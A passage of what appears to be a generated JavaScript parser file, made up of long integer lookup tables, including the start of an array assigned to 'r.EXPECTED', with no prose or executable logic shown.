,528,528,1901,528,528,528,528,1907,528,528,528,528,528,528,528,2441,528,528,528,528,528,528,528,528,3720,528,528,528,528,528,528,528,528,528,528,1918,528,528,528,528,1922,528,528,528,528,528,528,528,2466,2467,528,528,528,528,528,528,528,1417,528,528,528,528,528,528,528,528,3856,528,528,528,57893,57893,57893,57893,528,528,528,528,1968,1969,528,528,528,528,528,528,528,528,528,528,1924,1925,528,528,528,528,57893,57893,59344,57893,57893,57893,57893,59350,57893,57893,57893,57893,57893,57893,57893,57893,61212,57893,57893,57893,57893,57893,57893,57893,57893,57893,59361,57893,57893,57893,57893,59365,57893,57893,57893,57893,57893,57893,57893,57893,59883,57893,57893,57893,59886,57893,57893,57893,57893,57893,57893,57893,57893,59378,57893,57893,57893,59383,57893,57893,57893,57893,57893,57893,57893,59909,57893,57893,57893,57893,57893,57893,57893,59915,57893,57893,57893,59412,59413,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59921,57893,57893,57893,57893,57893,57893,57893,57893,59351,57893,57893,57893,57893,57893,57893,57893,57916,59444,57916,57916,57916,57916,59450,57916,57916,57916,57916,57916,57916,57916,57916,57916,60685,57916,57916,57916,57916,57916,57916,57916,59461,57916,57916,57916,57916,59465,57916,57916,57916,57916,57916,57916,57916,57916,57916,60943,57916,57916,57916,57916,57916,57916,57916,57916,57916,59478,57916,57916,57916,59483,57916,57916,57916,57916,57916,57916,57916,57916,60021,57943,57943,57943,57943,57943,57943,57943,60029,57916,57916,59512,59513,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59470,57916,57916,57916,57943,57943,57943,57943,59546,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59557,57943,57943,57943,57943,59561,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60082,57943,57943,57943,57943,59574,57943,57943,57943,59579,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60735,57943,57943,57943,57943,57943,59608,59609,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60095,57943,57943,2302,2303,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5767168,0,2339,0,0,2341,2342,0,0,0,0,0,0,0,0,0,0,0,335872,0,0,0,0,528,2434,528,528,2438,528,528,528,2442,528,528,528,528,528,528,528,2912,528,528,528,528,528,528,528,528,528,3857,528,528,57893,57893,57893,57893,528,528,528,528,2452,528,528,528,2455,528,528,528,528,528,528,528,2925,528,528,528,2928,528,528,528,528,528,2487,528,528,528,528,528,2492,528,528,528,528,528,528,528,0,0,57893,57893,57893,60610,57893,57893,57893,57893,57893,60615,57893,0,2503,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60288,57893,57893,60291,60292,57893,57893,57893,57893,57893,57893,57893,57893,59865,57893,57893,59869,57893,57893,57893,59873,57893,57893,57893,57893,57893,60312,57893,57893,57893,57893,57893,57893,57893,60320,57893,57893,59916,57893,57893,57893,57893,59920,57893,57893,57893,57893,57893,59925,57893,57893,57893,57893,57893,60328,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58867,50676,58773,990,58870,57916,57916,57916,57916,57916,60005,57916,57916,57916,57916,60009,57916,57916,57916,57916,57916,60014,57943,57943,57943,57943,60088,57943,57943,57943,57943,60092,57943,57943,57943,57943,57943,60097,2856,0,0,0,0,0,0,0,0,0,0,2863,0,0,0,0,0,0,212992,0,0,0,0,0,212992,212992,212992,212992,2893,528,528,528,528,2896,528,528,2898,528,2899,528,528,528,528,528,1356,528,1361,528,528,1365,528,528,1368,528,528,528,528,528,2907,528,528,2911,528,528,528,528,528,528,528,528,528,2494,528,528,2497,2498,528,0,2920,528,528,528,2923,528,528,528,528,528,528,528,528,528,528,528,528,3506,3507,528,528,57893,60308,57893,57893,57893,57893,57893,57893,57893,57893,57893,60317,57893,57893,60321,57893,57893,57893,57893,58835,57893,57893,57893,58842,58844,57893,57893,57893,57893,57893,57893,59381,57893,57893,57893,57893,57893,57893,57893,57893,57893,60902,57893,57893,60905,57893,57893,57893,0,57916,57916,60346,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60354,60369,57916,57916,57916,57916,60372,57916,57916,60374,57916,60375,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,4288,0,0,0,528,57916,57916,57916,57916,60384,57916,57916,60388,57916,57916,57916,57916,57916,57916,57916,57916,60402,57916,57916,57916,57916,57916,57916,57916,57916,59995,57916,57916,57916,57916,6e4,57916,57916,57916,60397,57916,57916,57916,60400,60401,57916,57916,57916,57916,57916,57916,57916,57916,57916,60683,57916,57916,57916,57916,57916,57916,57916,57916,59452,57916,57916,57916,57916,57916,57916,57916,57943,57943,60419,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60469,57943,57943,57943,57943,57943,60434,57943,57943,57943,57943,60437,57943,57943,60439,57943,60440,57943,57943,57943,57943,57943,60422,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61155,57943,57943,57943,528,57943,57943,57943,57943,60462,57943,57943,57943,60465,60466,57943,57943,57943,57943,57943,57943,57943,60752,57943,57943,528,528,528,57893,57893,57893,0,0,0,0,0,3658,0,0,3228,528,528,528,528,3233,528,528,528,3236,528,528,528,528,528,528,3255,528,528,528,528,528,528,528,528,528,528,2482,528,528,528,528,528,3261,528,528,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60616,57893,60619,57893,57893,57893,57893,60624,57893,57893,57893,60627,57893,57893,57893,57893,57893,58805,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,61460,57916,57893,57893,57893,60654,57893,57893,0,0,57916,57916,57916,57916,57916,57916,57916,57916,60692,57916,57916,57916,57916,57916,57916,57916,57916,59499,57916,57916,57916,57916,57916,57916,57916,57916,57916,60665,57916,60668,57916,57916,57916,57916,60673,57916,57916,57916,60676,57916,57916,57916,57916,58935,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58887,57916,57916,57916,57916,57943,57943,57943,60714,57943,60717,57943,57943,57943,57943,60722,57943,57943,57943,60725,57943,57943,57943,57943,57943,61580,61581,57943,57943,0,0,0,0,4242,0,528,528,528,528,528,528,528,528,2427,528,528,528,528,2431,528,0,3454,0,3455,0,0,0,0,0,0,0,0,0,0,0,0,1883,0,0,0,528,528,528,3485,528,528,528,528,528,528,528,528,528,528,528,528,1384,528,528,528,528,528,3497,528,528,528,528,528,528,528,528,3505,528,528,528,528,528,2453,528,528,528,528,528,528,528,528,528,528,1382,528,528,528,1386,528,57893,57893,60869,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60637,57893,57893,57893,57893,57893,57893,57893,57893,60314,57893,57893,57893,57893,57893,57893,57893,57893,60341,57893,57893,57893,0,2999,0,0,0,57893,60881,57893,57893,57893,57893,57893,57893,57893,57893,60889,57893,57893,57893,57893,57893,58820,57893,57893,57893,57893,57893,57893,57893,58829,57893,57893,57916,57916,57916,60911,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59503,57916,57916,57916,57916,57916,60923,57916,57916,57916,57916,57916,57916,57916,57916,60931,57916,57916,57916,57916,57916,59481,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58911,57916,57916,57916,57916,57916,57916,57943,57943,57943,60953,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60094,57943,57943,57943,57943,57943,57943,60965,57943,57943,57943,57943,57943,57943,57943,57943,60973,57943,57943,57943,57943,57943,60050,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60745,57943,57943,57943,0,3680,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3439,0,0,0,0,0,3693,3694,0,0,0,0,528,528,528,528,528,528,528,2875,528,528,528,528,528,528,528,528,3704,528,528,528,528,528,528,528,528,528,528,528,528,528,528,3494,528,528,3714,528,528,528,528,528,3719,528,3721,528,528,528,528,528,528,3488,528,528,528,528,528,3492,528,528,528,61091,57893,61093,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,61131,61132,57943,57943,57916,57916,57916,57916,61104,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61110,57916,57916,57916,57916,57916,57916,57916,61114,57916,57916,57916,57916,57916,57916,61120,57916,61122,57916,57916,57916,57916,57916,61324,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,57943,60970,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,61149,57943,61151,57943,57943,57943,57943,57943,57943,57943,57943,528,2761,528,528,528,57893,60110,57893,57893,528,528,57893,57893,57893,0,0,0,3818,0,0,0,0,0,0,0,722,0,724,0,0,0,0,0,0,0,0,3823,0,0,0,0,0,0,0,3675,0,0,0,0,3831,0,528,528,528,528,528,3843,528,528,528,3847,528,528,528,528,528,1357,528,528,528,528,528,528,528,528,528,528,528,1422,528,528,528,528,57893,61205,57893,57893,57893,61209,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60886,57893,57893,57893,57893,57893,57893,57893,57893,59896,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61218,57893,57893,57893,57893,57916,57916,57916,57916,57916,61224,57916,0,0,0,0,57893,57943,57943,58415,57943,57943,57943,57943,57943,57943,58446,57916,57916,61228,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60697,57916,57916,57916,61237,57916,57916,57916,57916,57943,57943,57943,57943,57943,61243,57943,57943,57943,61247,528,4162,57893,57893,57893,61510,57893,57893,57893,57893,57893,57893,57893,57893,61518,57893,57893,57893,57893,58858,57893,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,57916,57916,58903,57916,57916,57916,57916,57916,57916,57916,57916,57916,58913,57916,57916,57916,57916,61523,57916,57916,57916,57916,57916,57916,57916,57916,61531,57916,57943,57943,57943,57943,57943,60955,57943,57943,57943,57943,57943,57943,57943,57943,57943,59581,57943,57943,57943,57943,57943,57943,57943,61536,57943,57943,57943,57943,57943,57943,57943,57943,61544,57943,0,0,0,0,0,0,262144,262144,0,0,0,0,0,0,0,0,0,0,4203,4204,4205,0,4207,528,528,528,528,528,528,528,528,528,4213,4214,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,61564,61565,57893,57893,57916,0,0,0,0,57893,57943,57943,58416,57943,57943,57943,57943,58437,58441,58447,528,528,528,57893,57893,57893,57893,57916,57916,57916,57916,57943,57943,57943,57943,4298,0,528,4299,57893,61644,57916,61645,57943,61646,0,528,57893,57916,57943,0,528,528,528,528,528,528,2425,528,528,528,528,528,528,528,528,528,3246,528,528,528,528,528,528,0,0,0,361,362,0,0,0,0,0,0,0,368,0,296,0,0,0,0,393685,0,393685,393685,393685,0,393685,393685,393685,393685,393685,393685,0,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,1731,0,0,0,0,0,0,0,1741,1742,0,0,0,0,0,278528,278528,0,0,0,0,0,0,0,0,0,416,416,0,0,0,0,0,426,426,0,0,131072,426,0,0,0,0,426,0,0,454,0,426,0,483,483,483,0,0,362,362,362,502,362,362,362,362,483,483,483,483,483,483,483,483,483,483,483,483,483,483,483,483,546,57912,546,57912,546,546,57912,546,546,57935,57912,546,546,57912,57912,57912,57912,57962,57962,57912,57912,57912,57912,57962,57962,57912,546,57912,57912,57935,57912,57912,57912,57912,57912,57912,57912,57935,57935,57912,57912,57962,57912,57912,57912,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,368,368,0,703,0,0,0,0,0,0,0,0,0,0,0,0,2298,0,0,0,905,528,528,528,57893,57893,57893,57893,57893,57893,57893,58287,57893,57893,57893,57893,57893,60340,57893,57893,57893,57893,57893,0,2999,0,0,0,57893,58306,57893,57893,57893,57893,58324,57893,57893,57893,0,57916,57916,57916,57916,57916,57943,57943,57943,61129,57943,57943,57943,57943,57943,57943,57943,57943,60741,57943,57943,57943,57943,57943,57943,57943,57943,60753,57943,528,528,528,57893,57893,57893,57916,57916,58363,57916,57916,57916,57916,57916,58382,57916,57916,57916,57916,58400,57916,57916,57916,57916,58936,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60392,57916,57916,57916,57916,57916,0,0,0,0,58306,57943,57943,57943,57943,57943,57943,57943,58438,57943,57943,57943,57943,57943,60448,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60427,57943,57943,57943,57943,57943,57943,57943,58457,57943,57943,57943,57943,58475,57943,57943,57943,528,528,528,528,2284,57893,57893,57893,57893,59633,2290,0,2291,0,0,905,528,0,57893,57893,57893,57893,58324,57893,155942,1151,0,1152,0,0,1157,0,0,0,1266,0,0,0,0,0,0,0,1266,0,0,0,0,0,0,450560,0,0,450560,0,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,450560,1346,528,528,528,1355,528,528,528,528,528,528,528,528,528,528,528,528,3711,528,528,528,58773,914,57893,57893,57893,57893,57893,57893,57893,57893,57893,58785,57893,57893,57893,58794,57893,57893,58855,57893,57893,57893,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,57916,57916,58938,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61121,57916,57916,57916,57916,57943,57943,58974,57943,57943,57943,58983,57943,57943,57943,57943,57943,57943,57943,57943,57943,59045,57943,57943,57943,57943,57943,57943,0,0,0,1730,0,0,0,0,1737,0,0,0,0,0,0,0,739,0,0,0,0,0,0,0,0,1271,0,0,0,0,0,0,0,0,0,0,1762,0,0,0,0,0,0,0,1770,1771,0,0,0,0,0,3422,0,0,0,0,0,0,0,3426,0,0,0,0,0,1834,0,0,0,0,0,0,0,1840,0,0,0,0,0,0,532480,0,0,0,0,0,0,0,0,0,694,0,0,0,0,0,368,0,0,1846,0,1848,0,0,0,0,0,0,0,0,0,0,0,376832,0,376832,0,0,1915,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2499,528,1930,528,528,528,528,528,528,528,528,528,528,528,1943,528,528,0,57893,57893,57893,57893,57893,57893,155942,1151,0,0,0,0,0,0,0,4857856,4874240,0,0,0,0,0,0,0,796,0,0,0,0,805,0,0,0,59373,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59386,57893,57893,57893,2588,0,0,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,60352,57916,57916,57916,57916,57916,57893,57893,59411,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59422,57893,57893,57893,57893,57893,60884,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60903,57893,57893,57893,57893,57893,57916,59511,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59522,57916,57916,57916,57916,57916,61395,57916,61397,61398,57916,61400,57916,61402,57943,57943,57943,3916,528,61261,57893,0,0,0,0,0,0,0,0,0,0,2774,0,0,0,0,59607,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59618,57943,57943,57943,57943,57943,58978,57943,57943,57943,57943,57943,57943,57943,57943,57943,58997,0,0,2326,0,0,0,0,0,0,0,0,0,0,0,0,0,221652,221652,221652,0,0,2504,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61097,57893,57893,57893,57916,57916,57916,57916,57916,528,3229,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2447,528,60618,57893,60620,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61211,57893,57893,57893,57893,57893,57893,57893,57893,59870,57893,57893,57893,57893,59875,57893,57893,57916,57916,57916,60667,57916,60669,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60404,57916,57916,57916,57916,57916,60698,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,60709,57943,57943,57943,57943,57943,60463,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59599,57943,57943,57943,59605,57943,57943,57943,57943,60716,57943,60718,57943,57943,57943,57943,57943,57943,57943,57943,57943,59046,57943,57943,57943,57943,57943,57943,57943,60747,57943,57943,57943,57943,57943,57943,57943,57943,528,528,528,57893,57893,57893,0,0,0,3656,0,0,0,0,0,0,0,3432,0,0,0,0,0,0,0,0,0,0,0,0,2323,2324,0,0,57943,57943,61250,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60724,57943,57943,0,4147,0,0,0,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,0,4161,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61517,57893,57893,57893,57893,57893,60898,60900,57893,57893,57893,57893,60904,57893,60906,60907,57893,57916,57916,57916,61627,57916,57943,57943,57943,57943,61631,57943,0,0,0,0,528,528,2870,528,528,528,528,528,528,528,528,528,528,2878,373,373,0,0,131072,373,0,0,0,0,373,0,0,0,0,373,547,57913,547,57913,547,547,57913,547,547,57936,57913,547,547,57913,57913,57913,57913,57963,57963,57913,57913,57913,57913,57963,57963,57913,547,57913,57913,57936,57913,57913,57913,57913,57913,57913,57913,57936,57936,57913,57913,57963,57913,57913,57913,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,528,528,528,528,861,528,528,528,528,528,528,528,528,528,528,528,528,3723,528,528,528,57916,58356,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60677,57916,57893,58799,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61221,57893,57916,57916,57916,57916,57916,57916,57916,57943,57943,60023,57943,57943,57943,57943,57943,57943,528,528,1931,528,528,528,528,528,528,528,528,528,528,528,528,528,1401,528,528,57893,59374,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59882,57893,57893,57893,57893,57893,57893,57893,57893,57893,60290,57893,57893,57893,57893,57893,57893,59474,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60920,57916,0,0,0,3824,0,3825,0,0,0,0,3675,0,0,0,0,0,0,0,0,0,0,0,0,0,1227,0,0,0,0,0,364,0,0,0,0,0,0,0,0,0,0,364,0,0,0,0,0,0,0,0,0,0,0,0,2335,0,0,0,365,0,0,0,0,364,0,0,0,139264,147456,0,0,0,0,0,0,1324,0,0,0,0,0,0,0,0,0,1166,0,0,0,0,0,0,0,0,0,434,131072,0,434,434,0,0,0,434,0,365,434,0,0,0,0,401408,0,0,0,0,0,0,0,0,0,0,0,0,6471680,0,0,0,466,0,0,0,494,494,497,497,497,497,503,504,497,497,517,517,517,517,517,517,517,517,517,517,517,517,517,517,517,517,548,57914,548,57914,548,548,57914,548,548,57937,57914,548,548,57914,57914,57914,57914,57964,57964,57914,57914,57914,57914,57964,57964,57914,626,57914,57977,57937,57914,57914,57914,57914,57914,57914,57914,57937,57937,57914,57914,57964,57914,57914,57914,57977,57977,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,459187,0,0,0,0,0,0,0,0,0,0,0,528,528,528,528,528,528,528,528,0,528,2420,528,528,528,528,528,528,528,528,528,528,528,528,528,1402,528,528,0,0,0,57893,59850,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60287,57893,57893,57893,57893,57893,57893,57893,57893,57893,60302,57893,57893,57893,57893,60305,57893,57893,60307,528,528,528,528,2895,528,528,528,528,528,528,528,528,528,528,528,528,4026,57893,57893,57893,57893,60337,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,0,0,0,0,0,1781,0,0,0,0,0,0,0,0,0,139264,147456,0,0,335872,0,0,57916,57916,57916,57916,60371,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61401,57916,57943,57943,57943,368,368,0,0,0,0,705,0,0,0,0,0,0,0,0,0,139264,147456,0,0,540672,0,0,0,0,735,0,801,0,0,0,0,0,0,0,0,801,0,0,0,0,416,0,0,0,0,0,0,0,0,0,0,0,0,3464,0,0,0,528,528,528,528,862,528,528,528,528,528,528,528,528,528,528,528,528,61203,57893,57893,57893,57916,58357,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61111,57916,1202,0,0,0,0,0,0,0,0,0,0,368,368,0,0,0,0,0,0,0,0,709,0,0,0,0,0,0,1251,0,0,0,0,0,0,0,0,0,2810,0,0,0,0,0,0,58853,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,57916,57916,59463,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60696,57916,57916,57916,57916,59015,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60442,1726,0,0,0,0,1733,0,0,0,0,0,0,0,0,0,0,319488,319488,0,0,0,0,0,57916,57916,57916,59978,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59959,57916,57916,57916,57943,57943,57943,60061,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59011,57943,57943,57943,2779,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,245760,528,528,2881,528,528,528,528,528,528,528,528,528,528,528,528,528,1404,528,528,57916,57916,60357,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60919,57916,57916,0,306,307,0,0,0,0,0,0,0,647,0,0,0,0,0,0,1813,0,0,0,0,0,0,0,0,0,787,0,0,0,0,0,0,906,528,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57916,57916,906,528,0,57893,58490,57893,57893,58325,57893,155942,1151,0,0,0,0,0,0,1836,0,0,1838,0,0,0,0,0,0,0,2861,2813,0,0,0,0,0,2866,0,57893,57893,58856,57893,57893,57893,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,57916,57916,59495,59496,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61574,57943,57943,57943,57943,0,0,1862,0,0,0,0,0,0,0,0,0,0,0,0,0,327680,327680,327680,528,528,1948,528,528,528,528,528,528,528,528,528,528,528,528,528,1942,528,528,57893,59391,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60313,57893,57893,57893,57893,57893,57893,57893,57893,57893,59922,57893,57893,57893,57893,57893,57893,57893,59491,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61123,57916,57916,0,0,0,57893,57893,57893,57893,59853,57893,57893,57893,57893,57893,57893,57893,57893,60329,57893,57893,57893,57893,57893,57893,57893,57893,57893,59367,59368,57893,57893,57893,57893,57893,59877,57893,59879,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60636,57893,57893,57893,57893,57893,57893,57893,57893,57893,60316,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,59966,57916,59968,57916,57916,57916,57916,57916,57916,57916,57916,57916,61117,57916,61119,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,60049,57943,60051,57943,57943,57943,57943,57943,57943,57943,57943,57943,59552,57943,57943,57943,57943,59556,57943,60381,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,61403,57943,57943,57943,57943,57943,60446,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59554,57943,57943,57943,0,3418,0,0,0,0,0,0,0,0,0,0,0,0,0,0,352256,352256,352256,57893,57893,57893,57893,60871,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60645,57893,57893,57893,57893,57893,57893,57893,57893,57893,59923,57893,57893,57893,57893,57893,57893,3713,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2500,57916,57916,61113,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59973,57916,57916,57916,0,0,0,2310144,0,0,0,0,0,0,2310144,0,0,0,0,0,0,0,0,0,0,0,2310144,0,0,2310144,0,0,0,0,0,0,0,2310144,2310144,0,0,0,0,0,0,0,0,2310144,0,0,0,2310144,0,0,0,0,0,2310144,0,2310144,0,0,0,0,0,0,2310144,2310561,2310561,0,2310144,0,0,2310144,0,0,2310144,0,2310144,2310144,0,2310144,0,2310144,2310144,0,0,0,0,0,0,2310561,0,0,0,0,0,0,0,0,0,0,0,2359296,368,0,0,0,0,2310144,0,0,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310740,2310144,2310740,2310144,2310144,2310740,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,459347,459347,459347,459347,459347,459347,459347,459347,459347,459347,459347,459347,459347,459222,459379,459222,2318336,0,0,0,4268032,0,0,0,0,0,0,0,0,0,0,0,4276224,0,0,0,0,4358144,4358144,4358144,4358144,0,914,0,0,0,0,0,0,0,0,0,0,4956160,4964352,0,0,0,0,0,467,2335204,2335204,2335204,467,467,467,467,467,467,467,467,467,467,2335238,2335238,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,467,0,0,0,0,0,0,0,0,0,0,2335238,2335204,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,2335238,0,0,0,2342912,0,0,0,0,0,0,0,0,0,0,0,0,2348,0,0,0,0,0,0,2326528,0,0,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5177344,4358144,4358144,4358144,4358144,0,0,0,2359296,0,2359296,0,0,0,2359296,0,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,2359296,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,0,0,573440,0,573440,573440,573440,0,573440,573440,573440,573440,573440,573440,1,24578,3,0,0,4366336,0,0,0,0,0,302,303,0,0,2367488,0,0,4268032,0,0,0,0,0,0,0,0,0,0,0,4931584,0,0,0,0,0,0,2351104,0,0,0,0,0,0,0,0,0,0,0,0,0,507904,507904,507904,0,913,0,0,0,0,0,4857856,4874240,0,0,0,0,0,0,0,1180,0,0,0,0,1184,0,0,1187,0,6275072,0,0,0,0,0,0,0,0,0,0,0,989,0,0,0,0,913,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,4359057,5260177,4359057,4359057,0,0,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,573440,212992,0,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,212992,0,0,0,0,0,4366336,0,0,0,0,0,0,0,0,2412,0,0,0,0,0,0,0,0,0,0,6275072,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6258688,6447104,0,0,6127616,0,6348800,5906432,0,5537792,0,4882432,0,0,0,0,0,0,4825088,0,0,5177344,0,0,0,0,5701632,0,0,0,0,0,4358144,4358144,4358144,4825088,4358144,4358144,4358144,4358144,0,0,913,913,913,4826001,913,913,913,913,913,913,0,0,989,989,4842461,989,989,989,4899805,989,0,0,5513216,5783552,0,0,0,0,0,0,0,0,0,0,4358144,4358144,4358144,4358144,4358144,4857856,4874240],r.EXPECTED=[169,185,215,1326,231,1001,278,928,942,1085,320,247,263,307,336,352,368,384,400,914,2264,430,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,2268,1707,1603,1403,460,1356,1591,491,507,517,533,1816,1031,2119,564,475,580,596,625,684,700,1905,716,1114,747,778,788,1693,1145,762,804,820,836,852,868,884,900,958,988,1017,972,1997,1047,1057,1073,1101,1130,2028,1562,1190,1205,1221,1237,1253,1269,1298,1314,1342,1174,1446,1372,1876,2073,1633,668,1388,1419,1434,1467,1483,1499,1515,609,1531,1547,1578,444,654,640,1619,1649,1662,1678,1723,1738,1754,1770,1786,1802,1832,1848,291,1864,2228,1892,1921,1937,199,2149,1953,1969,1985,1282,2013,2044,2060,2089,2105,548,2135,2165,2181,2197,2213,1160,2244,731,2260,2264,1457,412,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,2264,419,2284,2288,2290,2290,2290,2291,2295,2290,2297,2301,2304,2311,2307,2315,2318,2322,2326,2330,2334,2338,2345,2345,3446,2344,2345,3427,2352,3605,2345,4169,2345,2345,2345,3950,4664,4990,4059,4582,2828,4588,2345,4069,4598,2345,4069,4603,2734,3100,2397,2497,2359,2366,2466,2372,2376,2345,2345,4266,2345,2345,2383,3820,2359,2359,2392,2419,2419,2419,2419,2405,2427,2345,2345,2345,2345,2345,2409,2455,3819,2345,2345,3099,3100,3100,3100,2495,2398,2398,2398,2504,2359,2359,2359,2482,2419,2419,2419,2517,2345,2345,2345,2457,2345,3100,3100,3101,2398,2398,2398,2359,2359,2359,2359,2359,2418,2419,2419,2419,2419,2419,2424,2437,2345,2345,2345,2345,4505,2729,2345,2345,2345,2345,4509,5101,4513,2345,2345,3904,2359,2359,2484,2419,2419,2519,2345,3864,2345,4865,3100,3100,2501,2398,2538,2359,2359,2359,2359,2359,2548,2419,2419,2419,2419,2395,2490,2345,2345,2359,2483,2419,2549,2508,3755,2345,4867,4911,2398,2400,2359,2515,2419,2525,3605,3100,2476,2401,2547,2550,2816,4868,2399,2481,2485,2735,2532,2503,2361,2368,4866,2476,2360,2420,4909,2537,2546,2486,2533,2362,2542,2554,2567,2571,2575,2579,2583,2586,2586,2586,2598,2591,2586,2587,2595,2602,2606,2610,2614,2618,2622,2626,2630,4594,2634,2345,2345,2903,2640,2345,2345,2999,2345,2345,2645,2345,2345,2345,2345,2345,2345,4208,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,4460,2655,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2345,2655,2345,2345,2636,4128,2345,2345,2345,2345,2635,4127,2345,2345,2345,2345,2635,4127,2794,2345,23